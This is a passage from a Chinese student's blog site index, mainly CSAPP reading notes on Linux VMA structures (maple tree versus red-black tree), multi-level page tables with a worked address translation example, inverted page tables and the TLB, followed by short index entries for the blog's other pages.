的优势:\n更好的缓存局部性：节点内多个元素连续存储 更细粒度的锁：读写锁分离，支持 RCU 高效的范围操作：原生支持区间查询 内存效率更高：减少指针开销 在/mm/mmap.c中，find_vma函数也发生了变化：\n// /mm/mmap.c /** * find_vma() - Find the VMA for a given address, or the next VMA. * @mm: The mm_struct to check * @addr: The address * * Returns: The VMA associated with addr, or the next VMA. * May return %NULL in the case of no VMA at addr or above. */ struct vm_area_struct *find_vma(struct mm_struct *mm, unsigned long addr) { unsigned long index = addr; mmap_assert_locked(mm); return mt_find(\u0026amp;mm-\u0026gt;mm_mt, \u0026amp;index, ULONG_MAX); } mt_find函数在/lib/maple_tree.c中，具体内容后续有时间再学习吧。\n总结： 我在之前学习的数据结构与算法中，往往都是构建一颗完成的树，树的每个节点都存储好需要的数据；而在linux中，是“反过来的”，即定义数据结构的时候，把树的节点作为成员放入到其中。那如何找到某个节点所处的结构体指针呢？可以用container_of宏来完成。在虚拟内存块的管理中，linux在6.1之前的版本中使用了：\nmm_struct → mm_rb (红黑树根) → vm_area_struct (通过vm_rb链接) 而在后续中则使用了B树的变体：\nmm_struct → mm_mt (Maple Tree根) → vm_area_struct (通过Maple Tree节点) 这也说明CSAPP这本书参考的linux版本较早。\n9.3 地址转换 # 给予一个虚拟地址空间的虚拟地址va，如何转换为实际的物理地址空间的物理地址pa呢？这是由硬件MMU结合页表来完成的。\n以下讨论我们先不考虑图中的TLB的部分 9.3.1 页表设计 # 下面我们来讨论一下页表是怎么设计出来的。\n首先对于一个va，其和某一个pa是一一对应着的。最自然的想法就是，设计一个两列的表格，第一列是索引，代表着虚拟地址va；第二列是值，代表着这个va所对应着的pa。这样MMU直接拿着一个从CPU来的va去查表，即可得到对应的pa。但是问题来了：这样的表也太大了。光是一个进程想要保存自己的页表都要很大一部分空间了。\n那么我们怎么优化呢？仍然考虑一个两列的表格，但是我不要直接保存整个va和pa了，而是利用到分页的设计模式。由于每个页大小是固定的（比如4K），那不妨把每个va拆成两部分：\n+------+------------+ | VPN | VPO(12位) | +------+------------+ 其中低12位是页内偏移量(Virtual Page Offset)，高的剩余位是对于该地址所处的虚拟页的地址索引(Vitrual Page Number)。\n你可能会问，这样设计有什么好处？其一，页表项目的个数会骤减，从原来的保存所有的地址到现在只保存所有的页，也就是说将原来的4096个页表项都缩减成了1个页表项（这也算是为什么叫做“页表项”了）；其二，由于分页是同时在虚拟地址空间和物理地址空间进行的，对于某一页内的内容，其在虚拟页中的偏移（相对于该虚拟页的起始地址）和其在物理页中的偏移（相对于该物理页的起始地址）是一样的。\n那么，对于物理地址也按照上述方式进行划分得到\n+------+------------+ | PPN | PPO(12位) | +------+------------+ 而且，PPO(Physical Page Offset)和VPO是完全一致的！所以对于页表项而言，第一列存VPN，第二列存对应的PPN即可，然后MMU再把VPO拼接到PPN的末尾即可得到pa了。这样来看，不仅仅页表项的个数减少了，每一个页表项的大小也减小了（毕竟从原来的整个地址变成了现在的地址的一部分）。\n到这里你可能还会说，这个思路是不妨出来的，看着好像是正确的但是又隐隐地感觉不太对，能证明出来是正确的吗？其实是可以的，这种对于地址的分割方式也来源于下面的证明。由于每个页都是按照页对齐的，每一个页的起始地址很显然都是低12位为0。那么对于一个va，直接把低12位置0，得到的地址就是其所在的页的起始地址。然后，在查页表的时候，把那低12位的0去掉，得到对应的物理页的地址，注意这里的地址也是去掉了低12位。然后把原来va的低12位偏移直接拼到从页表查出来的物理地址上，就得到了实际的物理地址pa。下面的代码展示了这个过程：\n// get top several bits of VA VPN = (Virtual Address \u0026amp; VPN_MASK) \u0026gt;\u0026gt; 12 // now get offset VPO = Virtual Address \u0026amp; OFFSET_MASK // get final PA PPN = PTE[VPN] Physical Address = PPN || VPO 9.3.2 页表太大了？多级页表 # 然而上述的\u0026quot;两列表中\u0026quot;在工程上有一个致命问题：页表太大了。\n以 32 位系统（4KB 页）为例，用户空间占一半（2GB = $2^{31}$ 字节）：\n虚拟页数 = $2^{31} / 2^{12} = 2^{19} = 524288$ 个 每个 PTE 4 字节 页表大小 = $2^{19} \\times 4 = 2^{21}$ 字节 = 2MB = 512 页 光是存页表就要 512 个物理页，而且必须连续存放。100 个进程就是 200MB 全用来存页表。64 位更是天文数字。\n解决思路：将数组转为树形结构。\n9.3.3 例子 # 两级页表 32 位 VA 拆成三层：[10位 页目录 | 10位 页表 | 12位 页内偏移]\n一级表（页目录）：索引指向二级页表，占据 1 页 二级表（页表）：索引指向实际物理页 两级页表一定更省吗？不。 若进程用满全部 2GB，两级页表需要 1（页目录）+ 1024（二级表）= 1025 页，比单级 512 页还多。但实际进程的地址空间是稀疏的——代码在低地址、栈在高地址、中间大片未用。单级页表不管用不用都得分配完整的 512 页（数组必须连续），而两级页表：未使用的虚拟地址区间对应的页目录项（PDE）标记为无效，其二级表根本不分配。一个典型进程可能只需要页目录 1 页 + 实际用到的几个二级表 = 不到 10 页。\n一个地址转换例子 假设 32 位系统，4KB 页，两级页表。已知 CR3 存的是页目录的物理地址。\n给定：CR3 = 0xA4000，虚拟地址 VA = 0x00805014。\n第一步：拆解 VA\nVA = 0x00805014 = 二进制： 0000 0000 10 000000 0101 0000 0001 0100 └─ PDI=2 ──┘ └─ PTI=5 ──┘ └─ offset=0x14 ─┘ 页目录索引 (PDI) = 2 页表索引 (PTI) = 5 页内偏移 = 0x14 第二步：查页目录\nCR3 = 0xA4000 ──→ 物理地址 0xA4000（页目录基址） │ 每个 PDE 占用 4 字节 │ 访问地址 = 0xA4000 + 2×4 = 0xA4008 │ 读出 PDE = 0x000B7000 │ PFN = 0xB7，P=1（在内存） └→ 二级页表物理地址 = 0xB7000 第三步：查页表\n二级页表基址 = 0xB7000 │ 每个 PTE 占用 4 字节 │ 访问地址 = 0xB7000 + 5×4 = 0xB7014 │ 读出 PTE = 0x00C3000 │ PFN = 0xC3，P=1（在内存） └→ 页框物理地址 = 0xC3000 第四步：拼接\n页框地址 = 0xC3000 页内偏移 = 0x00014 ───────────────── 物理地址 = 0xC3014 ← 最终结果 全程 MMU 自动完成两次物理内存读（读 PDE + 读 PTE），软件不需要干预。CR3 是这条查表链的入口。\nCore i7 四级页表 64 位系统只用了低 48 位，四级页表结构：\nVPN4 ─→ VPN3 ─→ VPN2 ─→ VPN1 ─→ 页内偏移 9 9 9 9 12 L4 PDE → L3 PDE → L2 PDE → L1 PTE → 物理地址 对四级页表，页表需要的页数：$1 + 512 + 512^2 + 512^3$（稀疏场景下实际远小于此）。\n9.3.4 反转页表 # 多级页表虽然缓解了空间问题，但每个进程仍需要一套页表，进程数增多时开销依然明显。反转（反置）页表换了一个思路：不从虚拟地址出发，而是从物理地址出发，系统全局只建一张表。\n传统页表 反转页表 方向 VA → PA（每个进程一张） PA → VA（全局一张） 大小 与虚拟地址空间成正比 与物理内存大小成正比，与进程数无关 查找 直接索引 VPN 散列查找（VA + PID） 工作原理：将虚页号 + PID 散列到一个反转页表项，若冲突则拉链。由于散列查找需要处理冲突，地址翻译比多级页表慢一些，但内存开销小得多。\n采用体系结构：PowerPC、UltraSPARC、IA-64。\n9.3.5 TLB：加速地址转换 # 多级页表至少需要两次（两级）或四次（四级）物理内存访问。CPU 和内存之间的速度差异使得这种开销无法忍受。利用程序访问的局部性原理，引入 TLB（Translation Look-aside Buffer）。\nTLB 是相联存储器，按内容并行查找，保存当前进程页表的子集 工作原理：联想映射 → 同时比较所有虚拟页号 → 命中则直接返回页框号 位于 MMU 内部，容量很小（通常几十到几百项），访问速度极快 问题 解决 TLB 置换 类似页面置换策略（LRU 等） 进程切换 TLB 刷新 PCID（x86）/ ASID（ARM/RISC-V）：给每条 TLB 项打上\u0026quot;属于哪个进程\u0026quot;的标签，切进程无需刷空 PCID/ASID 的核心思想：TLB 中存的不只是 VPN→PPN 映射，还有进程标识符。比较时需\u0026quot;虚页号 + PCID\u0026quot;同时匹配才命中。这样进程 A 和进程 B 的 TLB 项可以共存，切来切去互不污染，大幅减少刷新带来的性能损失。\n总结：地址转换的完整链路是——\nVA → (TLB 命中?) → 直接得 PA → (TLB miss) → 查页表(多级/反转) → 更新 TLB → 得 PA → (Page Fault) → 缺页处理 → 从磁盘/交换区调页 → 更新页表/PTE → 重试 整个过程从 CPU 发出 VA 开始，MMU 查 TLB 是最快路径；若 miss 则硬件遍历多级页表（CR3 → 页目录 → 页表 → PTE）；若页不在内存则触发缺页异常由 OS 处理。这就是虚拟地址到物理地址的完整转换故事。\n","externalUrl":null,"permalink":"/ics/readnotes/","section":"ICS","summary":"","title":"CSAPP阅读笔记","type":"ics"},{"content":" 我的临摹画作/原创画作/日常😝 我的头像 # 我的临摹\u0026amp;原创画作 # 我的小成就 # ","externalUrl":null,"permalink":"/gallery/","section":"Home","summary":"我的临摹画作/原创画作/游戏截图/日常😝","title":"Gallery","type":"page"},{"content":"","externalUrl":null,"permalink":"/tags/gdb/","section":"","summary":"","title":"GDB","type":"tags"},{"content":"Hi~，我是 GaleInk（汤伟杰），北京大学计算机科学与技术专业大二在读。\n这里是我的个人博客，记录操作系统、计算机系统等课程的学习笔记，以及日常开发和面试准备中遇到的问题和思考。喜欢把学到的知识写成博客，也喜欢动手做项目来验证课本上的理论。\n浏览全部文章 →\n","externalUrl":null,"permalink":"/","section":"Home","summary":"","title":"Home","type":"page"},{"content":" Introduction to Computer Science 这里是北京大学2025-2026秋季学期的《计算机系统导论》(ICS)课程的个人笔记和实验教程。你可以在这里找到我阅读教材《深入理解计算机系统》(CS:APP)的笔记以及各个实验的源文件，希望能对您学习ICS有所帮助。\n你可以从我的github仓库中直接找到各个lab的最初版本，以及我做的最终版本。本博客站点只存放我的个人做题过程见解和一些知识点的汇总或者补充，不涉及完整的源代码，如果想要自己从头动手做或者查看我的完整源代码，还请前往github仓库。\ntwj-ink/PKU-ICS-2025-Labs Assembly 3 1 下面就是各个lab的笔记了。关于实验的具体完成过程，如果以后有机会的话，还会进行完善（希望自己有机会当上助教，再来一年~）。\n","externalUrl":null,"permalink":"/ics/","section":"ICS","summary":"","title":"ICS","type":"ics"},{"content":"","externalUrl":null,"permalink":"/series/ics-labs-2025/","section":"Series","summary":"","title":"ICS-Labs-2025","type":"series"},{"content":" Built with notes, projects, and all the paths I\u0026rsquo;ve walked. 课程笔记 # 操作系统 # [[NOTES]] 操作系统学习笔记 0001/01/01\u0026middot;Updated: 2026/04/10\u0026middot;150 words\u0026middot;1 min\u0026middot; loading \u0026middot; loading 课堂和阅读教材的笔记，不包含实验教程 深入理解计算机系统（CSAPP） # CSAPP阅读笔记 Updated: 2026/05/11\u0026middot;17559 words\u0026middot;88 mins\u0026middot; loading \u0026middot; loading Linux 源码分析与实验 # Linux虚拟内存系统与红黑树的应用浅析 2026/02/23\u0026middot;Updated: 2026/05/07\u0026middot;4294 words\u0026middot;22 mins\u0026middot; loading \u0026middot; loading 红黑树在Linux中的定义声明，和简单的使用方法；对container_of宏的解析 本地物理机安装Linux 2026/04/07\u0026middot;Updated: 2026/06/02\u0026middot;3109 words\u0026middot;16 mins\u0026middot; loading \u0026middot; loading 一次本地Linux安装实录：从U盘启动到计算机启动过程的简单梳理；日常使用遇到的问题及解决办法 ICS Labs # ICS Updated: 2026/03/31\u0026middot;248 words\u0026middot;2 mins\u0026middot; loading \u0026middot; loading 技术文章 # claude code + deepseek v4 部署流程和个人使用体验 2026/04/30\u0026middot;Updated: 2026/05/08\u0026middot;1149 words\u0026middot;6 mins\u0026middot; loading \u0026middot; loading 从deepseek网页版转为CLI版，代码编辑和操作更加方便 给 Blowfish 主题添加自托管音乐播放器 2026/05/07\u0026middot;675 words\u0026middot;4 mins\u0026middot; loading \u0026middot; loading 在 Hugo + Blowfish 主题中手写一个悬浮音乐播放器，不依赖第三方服务 日常 # 画廊 # Gallery Updated: 2026/06/02\u0026middot;30 words\u0026middot;1 min\u0026middot; loading \u0026middot; loading 我的临摹画作/原创画作/游戏截图/日常😝 拾光 # 拾光 Updated: 2026/03/31 ","externalUrl":null,"permalink":"/castle/","section":"My Castle","summary":"","title":"My Castle","type":"castle"},{"content":"这里是北京大学2025-2026春季学期的《操作系统》(Operating Systems)课程的个人笔记和实验教程。同时也包含了通识课《Linux操作系统与开源软件》的部分内容。\n","externalUrl":null,"permalink":"/os/","section":"Operating Systems","summary":"","title":"Operating Systems","type":"os"},{"content":"","externalUrl":null,"permalink":"/tags/%E4%BD%8D%E8%BF%90%E7%AE%97/","section":"","summary":"","title":"位运算","type":"tags"},{"content":"","externalUrl":null,"permalink":"/moments/","section":"拾光","summary":"","title":"拾光","type":"moments"},{"content":"","externalUrl":null,"permalink":"/tags/%E6%A0%88%E5%B8%A7/","section":"","summary":"","title":"栈帧","type":"tags"},{"content":"","externalUrl":null,"permalink":"/tags/%E6%B5%81%E6%B0%B4%E7%BA%BF/","section":"","summary":"","title":"流水线","type":"tags"},{"content":"","externalUrl":null,"permalink":"/tags/%E7%BC%93%E5%AD%98/","section":"","summary":"","title":"缓存","type":"tags"},{"content":"","externalUrl":null,"permalink":"/tags/%E9%93%BE%E6%8E%A5/","section":"","summary":"","title":"链接","type":"tags"}]